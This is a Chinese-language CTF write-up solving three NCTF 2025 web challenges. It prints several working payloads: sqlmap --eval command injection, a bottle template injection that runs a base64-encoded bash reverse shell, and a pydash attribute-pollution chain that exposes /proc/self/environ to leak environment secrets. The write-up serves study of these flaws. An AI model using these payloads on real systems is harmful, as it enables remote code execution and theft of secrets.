2025NCTF--Web

ops/2025/4/1 3:10:33/

文章目录

    • Web
      • sqlmap-master
      • ez_dash
      • ez_dash_revenge

Web_1">Web

sqlmap-master

源码

from fastapi import FastAPI, Request
from fastapi.responses import FileResponse, StreamingResponse
import subprocessapp = FastAPI()@app.get("/")
async def index():return FileResponse("index.html")@app.post("/run")
async def run(request: Request):data = await request.json()url = data.get("url")if not url:return {"error": "URL is required"}command = f'sqlmap -u {url} --batch --flush-session'def generate():process = subprocess.Popen(command.split(),stdout=subprocess.PIPE,stderr=subprocess.STDOUT,shell=False)while True:output = process.stdout.readline()if output == '' and process.poll() is not None:breakif output:yield outputreturn StreamingResponse(generate(), media_type="text/plain")

sqlmap存在一个eval的参数, 可以在每个请求期间运行自定义的 Python 代码

在这里插入图片描述

但是因为代码中会以空格分割, 所以 "import os;os.system('env')" 这种无法使用, 使用__import__动态导入执行

http://127.0.0.1 --eval __import__('os').system('env')

在这里插入图片描述

ez_dash

给了源码

'''
Hints: Flag在环境变量中
'''from typing import Optionalimport pydash
import bottle__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__','__code__', '__defaults__', '__delattr__', '__dict__','__dir__', '__doc__', '__eq__', '__format__','__ge__', '__get__', '__getattribute__','__gt__', '__hash__', '__init__', '__init_subclass__','__kwdefaults__', '__le__', '__lt__', '__module__','__name__', '__ne__', '__new__', '__qualname__','__reduce__', '__reduce_ex__', '__repr__', '__setattr__','__sizeof__', '__str__', '__subclasshook__', '__wrapped__',"Optional","func","render",]
__forbidden_name__=["bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"]))def setval(name:str, path:str, value:str)-> Optional[bool]:if name.find("__")>=0: return Falsefor word in __forbidden_name__:if name==word:return Falsefor word in __forbidden_path__:if path.find(word)>=0: return Falseobj=globals()[name]try:pydash.set_(obj,path,value)except:return Falsereturn True@bottle.post('/setValue')
def set_value():name = bottle.request.query.get('name')path=bottle.request.json.get('path')if not isinstance(path,str):return "no"if len(name)>6 or len(path)>32:return "no"value=bottle.request.json.get('value')return "yes" if setval(name, path, value) else "no"@bottle.get('/render')
def render_template():path=bottle.request.query.get('path')if path.find("{")>=0 or path.find("}")>=0 or path.find(".")>=0:return "Hacker"return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

直接看/render路由, 过滤了 { } ., 但是bottle渲染模板时不仅仅可以使用{{}}执行代码, 还可以使用 <% 进行执行代码

因为题目没有回显, 所以直接反弹shell就行

<% from os import systemfrom base64 import b64decodesystem(b64decode('YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC9pcC82NjY2IDA+JjEi'))

在这里插入图片描述

ez_dash_revenge

因为前一道题的非预期, 这道题把 <%的做法给禁了

'''
Hints: Flag在环境变量中
'''
from typing import Optionalimport pydash
import bottle__forbidden_path__=['__annotations__', '__call__', '__class__', '__closure__','__code__', '__defaults__', '__delattr__', '__dict__','__dir__', '__doc__', '__eq__', '__format__','__ge__', '__get__', '__getattribute__','__gt__', '__hash__', '__init__', '__init_subclass__','__kwdefaults__', '__le__', '__lt__', '__module__','__name__', '__ne__', '__new__', '__qualname__','__reduce__', '__reduce_ex__', '__repr__', '__setattr__','__sizeof__', '__str__', '__subclasshook__', '__wrapped__',"Optional","render"]
__forbidden_name__=["bottle"
]
__forbidden_name__.extend(dir(globals()["__builtins__"])) #所有的内置函数以及bottledef setval(name:str, path:str, value:str)-> Optional[bool]:if name.find("__")>=0: return Falsefor word in __forbidden_name__:if name==word:return Falsefor word in __forbidden_path__:if path.find(word)>=0: return Falseobj=globals()[name]try:pydash.set_(obj,path,value)except:return Falsereturn True@bottle.post('/setValue')
def set_value():name = bottle.request.query.get('name')path=bottle.request.json.get('path')if not isinstance(path,str):return "no"if len(name)>6 or len(path)>32:return "no"value=bottle.request.json.get('value')return "yes" if setval(name, path, value) else "no"@bottle.get('/render')
def render_template():path=bottle.request.query.get('path')if len(path)>10:return "hacker"blacklist=["{","}",".","%","<",">","_"] for c in path:if c in blacklist:return "hacker"return bottle.template(path)
bottle.run(host='0.0.0.0', port=8000)

先本地搭建调试一下

/render路由给path参数随便传入一个值, 一开始进入到这个函数

template

def template(*args, **kwargs):"""Get a rendered template as a string iterator.You can use a name, a filename or a template string as first parameter.Template rendering arguments can be passed as dictionariesor directly (as keyword arguments)."""tpl = args[0] if args else Nonefor dictarg in args[1:]:kwargs.update(dictarg)adapter = kwargs.pop('template_adapter', SimpleTemplate)lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)tplid = (id(lookup), tpl)if tplid not in TEMPLATES or DEBUG:settings = kwargs.pop('template_settings', {})if isinstance(tpl, adapter):TEMPLATES[tplid] = tplif settings: TEMPLATES[tplid].prepare(**settings)elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)else:TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)if not TEMPLATES[tplid]:abort(500, 'Template (%s) not found' % tpl)return TEMPLATES[tplid].render(kwargs)

这个函数用于获取一个渲染后的模板, 并返回一个字符串迭代器

有三种方法获得模板

  1. 模板对象, SimpleTemplate的实例
  2. 模板字符串: \n, { , %, $
  3. 模板文件名

这里能用的就是第三种, 传入一个 模板文件名 ,

lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
TEMPLATE_PATH = ['./', './views/']

传入的模板文件名是在lookup 目录中查找文件并加载, 而lookup默认是在当前目录或子目录views

如果可以控制TEMPLATE_PATH/proc/self目录, 那么就可以读取environ环境变量文件了

接着进入到BaseTemplate

class BaseTemplate(object):""" Base class and minimal API for template adapters """extensions = ['tpl', 'html', 'thtml', 'stpl']settings = {}  #used in prepare()defaults = {}  #used in render()def __init__(self,source=None,name=None,lookup=None,encoding='utf8', **settings):""" Create a new template.If the source parameter (str or buffer) is missing, the name argumentis used to guess a template filename. Subclasses can assume thatself.source and/or self.filename are set. Both are strings.The lookup, encoding and settings parameters are stored as instancevariables.The lookup parameter stores a list containing directory paths.The encoding parameter should be used to decode byte strings or files.The settings parameter contains a dict for engine-specific settings."""self.name = nameself.source = source.read() if hasattr(source, 'read') else sourceself.filename = source.filename if hasattr(source, 'filename') else Noneself.lookup = [os.path.abspath(x) for x in lookup] if lookup else []self.encoding = encodingself.settings = self.settings.copy()  # Copy from class variableself.settings.update(settings)  # Applyif not self.source and self.name:self.filename = self.search(self.name, self.lookup)if not self.filename:raise TemplateError('Template %s not found.' % repr(name))if not self.source and not self.filename:raise TemplateError('No template specified.')self.prepare(**self.settings)@classmethoddef search(cls, name, lookup=None):""" Search name in all directories specified in lookup.First without, then with common extensions. Return first hit. """if not lookup:raise depr(0, 12, "Empty template lookup path.", "Configure a template lookup path.")if os.path.isabs(name):raise depr(0, 12, "Use of absolute path for template name.","Refer to templates with names or paths relative to the lookup path.")for spath in lookup:spath = os.path.abspath(spath) + os.sepfname = os.path.abspath(os.path.join(spath, name))if not fname.startswith(spath): continueif os.path.isfile(fname): return fnamefor ext in cls.extensions:if os.path.isfile('%s.%s' % (fname, ext)):return '%s.%s' % (fname, ext)

看到search函数里面

fname = os.path.abspath(os.path.join(spath, name)) #转化为绝对路径
if not fname.startswith(spath): continue

阻止了通过 ../../来绕过lookup目录的可能性

所以需要想办法去修改TEMPLATE_PATH的值, 从而实现任意文件读取

在这里插入图片描述

看到setval函数: 可以动态修改全局变量中的对象属性

def setval(name:str, path:str, value:str)-> Optional[bool]:if name.find("__")>=0: return False #拦截双下滑线__, python的魔法变量for word in __forbidden_name__:if name==word:return Falsefor word in __forbidden_path__:if path.find(word)>=0: return Falseobj=globals()[name]try:pydash.set_(obj,path,value)except:return Falsereturn True

尝试进行传参修改bottle.TEMPLATE_PATH的属性值, 会发现直接返回了no, 无法成功的污染

/setValue?name=setval{"path":"__globals__.bottle.TEMPLATE_PATH","value":["../../../../proc/self"]}

调试一下会发现走到这一步, 存在这样的代码 , 不允许key里面存在__globals__,代码不允许修改__globals__属性

def base_set(obj, key, value, allow_override=True):"""Set an object's `key` to `value`. If `obj` is a ``list`` and the `key` is the next availableindex position, append to list; otherwise, pad the list of ``None`` and then append to the list.Args:obj: Object to assign value to.key: Key or index to assign to.value: Value to assign.allow_override: Whether to allow overriding a previously set key."""if isinstance(obj, dict):if allow_override or key not in obj:obj[key] = valueelif isinstance(obj, list):key = int(key)if key < len(obj):if allow_override:obj[key] = valueelse:if key > len(obj):# Pad list object with None values up to the index key, so we can append the value# into the key index.obj[:] = (obj + [None] * key)[:key]obj.append(value)elif (allow_override or not hasattr(obj, key)) and obj is not None:_raise_if_restricted_key(key)setattr(obj, key, value)return obj
def _raise_if_restricted_key(key):# Prevent access to restricted keys for security reasons.if key in RESTRICTED_KEYS:raise KeyError(f"access to restricted key {key!r} is not allowed")
#: Object keys that are restricted from access via path access.
RESTRICTED_KEYS = ("__globals__", "__builtins__")

在这里插入图片描述

所以还需要污染RESTRICTED_KEYS的值

/setValue?name=pydash{"path":"helpers.RESTRICTED_KEYS","value":[]}

在这里插入图片描述

为什么要写成helpers.RESTRICTED_KEYS这样的形式, 可以打印一下

RESTRICTED_KEYS 位于helpers.py文件中

在这里插入图片描述

然后再污染TEMPLATE_PATH的值

?name=setval {"path":"__globals__.bottle.TEMPLATE_PATH","value":["../../../../proc/self"]}

在这里插入图片描述

直接访问?path=environ就可以看到文件内容了, 本地执行成功

在这里插入图片描述

按照上面的步骤在靶场环境打一遍就可以拿到flag了

在这里插入图片描述


http://www.ppmy.cn/ops/170794.html

相关文章

DeepSeek-R1 现已在 Amazon Bedrock 中作为完全托管的无服务器模型推出

DeepSeek-R1 现已在 Amazon Bedrock 中作为完全托管的无服务器模型推出 截至 1 月 30 日&#xff0c;DeepSeek-R1 模型已通过 Amazon Bedrock Marketplace 和 Amazon Bedrock 自定义模型导入在 Amazon Bedrock 中提供。从那时起&#xff0c;成千上万的客户在 Amazon Bedrock 中…

JVM 如何打破双亲委派模型?

虽然双亲委派模型是 Java 类加载机制的推荐实现方式&#xff0c;但在某些情况下&#xff0c;为了实现特定的功能&#xff0c;可能需要打破双亲委派模型。以下是一些常见的打破双亲委派模型的方法和场景&#xff1a; 1. 重写 loadClass 方法 (不推荐): 原理&#xff1a; java.l…

axios文件下载使用后端传递的名称

java后端通过HttpServletResponse 返回文件流 在Content-Disposition中插入文件名 一定要设置Access-Control-Expose-Headers&#xff0c;代表跨域该Content-Disposition返回Header可读&#xff0c;如果没有&#xff0c;前端是取不到Content-Disposition的&#xff0c;可以在统…

深度学习框架PyTorch——从入门到精通(10)PyTorch张量简介

这部分是 PyTorch介绍——YouTube系列的内容&#xff0c;每一节都对应一个youtube视频。&#xff08;可能跟之前的有一定的重复&#xff09; 创建张量随机张量和种子张量形状张量数据类型 使用PyTorch张量进行数学与逻辑运算简单介绍——张量广播关于张量更多的数学操作原地修改…

Rust从入门到精通之精通篇:26.性能优化技术

性能优化技术 在 Rust 精通篇中&#xff0c;我们将深入探索 Rust 的性能优化技术。Rust 作为一种系统级编程语言&#xff0c;其设计初衷之一就是提供与 C/C 相媲美的性能。在本章中&#xff0c;我们将学习如何分析和优化 Rust 代码性能&#xff0c;掌握编写高效 Rust 程序的技…

4、网工软考—VLAN配置—hybird配置

1、实验环境搭建&#xff1a; 2、实验过程 SW1&#xff1a; 先创建vlan2和vlan3 [Huawei-Ethernet0/0/2]port link-type hybrid //hybird端口 [Huawei-Ethernet0/0/2]port hybrid pvid vlan 2 [Huawei-Ethernet0/0/2]port hybrid untagged vlan 10 //撕掉vlan10的标签 …

python怎么批量导入包 模块 方法 类

怎么批量导入包 模块 方法 类 目录 怎么批量导入包 模块 方法 类 1. 如果 a 是一个模块 假设的目录结构 方法 1&#xff1a;直接从每个模块导入 方法 2&#xff1a;通过 __init__.py 统一导入 修改 a/__init__.py 文件&#xff1a; 使用&#xff1a; 注意事项 示例代…

在 CentOS 系统中开机自动执行 Shell 脚本

在 CentOS 系统中&#xff0c;可以通过以下方法设置开机自动执行 Shell 脚本。推荐使用 systemd 服务&#xff08;现代 Linux 系统的标准方式&#xff09;&#xff0c;也可以使用传统的 /etc/rc.local 方法。 方法 1&#xff1a;使用 Systemd 服务&#xff08;推荐&#xff09;…